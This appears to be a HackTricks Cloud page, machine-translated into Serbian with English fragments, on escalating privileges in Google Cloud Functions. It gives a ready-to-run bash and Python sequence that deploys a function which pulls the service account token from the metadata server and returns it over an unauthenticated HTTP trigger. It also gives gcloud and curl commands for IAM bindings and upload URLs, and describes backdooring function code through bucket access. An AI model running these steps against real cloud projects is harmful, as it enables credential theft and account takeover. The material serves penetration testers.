GCP - Cloudfunctions Privesc
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
cloudfunctions
Više informacija o Cloud Functions:
cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs
Napadač sa ovim privilegijama može kreirati novu Cloud Function sa proizvoljnim (zlonamernim) kodom i dodeliti joj Service Account. Zatim, leak the Service Account token from the metadata to escalate privileges to it.
Moguće su potrebne neke privilegije za pokretanje funkcije.
Exploit scripts for this method can be found here and here and the prebuilt .zip file can be found here.
cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs
Napadač sa ovim privilegijama može izmeniti kod Function i čak izmeniti prikačeni Service Account sa ciljem exfiltrating the token.
Caution
In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.
Neke dodatne privilegije kao .call permission za version 1 cloudfunctions ili uloga role/run.invoker za trigger funkcije mogu biti potrebne.
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
Caution
Ako dobijete grešku
Permission 'run.services.setIamPolicy' denied on resource...to je zato što koristite parametar--allow-unauthenticatedi nemate dovoljno dozvola za to.
The exploit script for this method can be found here.
cloudfunctions.functions.sourceCodeSet
Sa ovom dozvolom možete dobiti signed URL koji omogućava otpremanje fajla u bucket funkcije (ali kod funkcije neće biti izmenjen, i dalje ga morate ažurirati)
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
Nisam baš siguran koliko je korisna samo ova dozvola iz perspektive napadača, ali dobro je znati.
cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs
Dodeli sebi bilo koju od prethodnih .update ili .create privilegija da eskaliraš.
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
cloudfunctions.functions.update
Ako imate samo cloudfunctions dozvole, bez iam.serviceAccounts.actAs, nećete moći da ažurirate funkciju — tako da ovo NIJE VALIDAN PRIVESC.
Pozivanje funkcija
Sa cloudfunctions.functions.get, cloudfunctions.functions.invoke, run.jobs.run, i run.routes.invoke dozvolama, identitet može direktno da pozove Cloud Functions. Takođe je neophodno da funkcija dozvoli javni pristup, ili da pozivaoc bude u istoj mreži kao i sama funkcija.
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{ "name": "Developer" }'
Pristup za čitanje i pisanje nad bucket
Ako imate pristup za čitanje i pisanje nad bucket-om, možete pratiti promene u kodu i kad god se desi ažuriranje u bucket-u možete zameniti novi kod svojim kodom tako da nova verzija Cloud Function bude pokrenuta sa poslatim backdoored code-om.
You can check more about the attack in:
Međutim, ne možete ovo iskoristiti za pre-kompromitovanje Cloud Functions trećih strana zato što, ako kreirate bucket u svom nalogu i date mu javna prava da eksterni projekat može pisati u njega, dobijate sledeću grešku:
 (1) (1).png)
Caution
Međutim, ovo bi moglo biti iskorišćeno za DoS napade.
Pristup za čitanje i pisanje nad Artifact Registry
Kada se kreira Cloud Function, nova docker image se push-uje u Artifact Registry projekta. Pokušao sam da izmenim image novim, pa čak i da obrišem trenutni image (i cache image) i ništa se nije promenilo — Cloud Function je nastavila da radi. Dakle, možda bi moglo biti moguće zloupotrebiti Race Condition attack kao kod bucket-a da se promeni docker container koji će biti pokrenut, ali samo izmena smeštenog image-a nije moguća da kompromituje Cloud Function.
Referencije
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

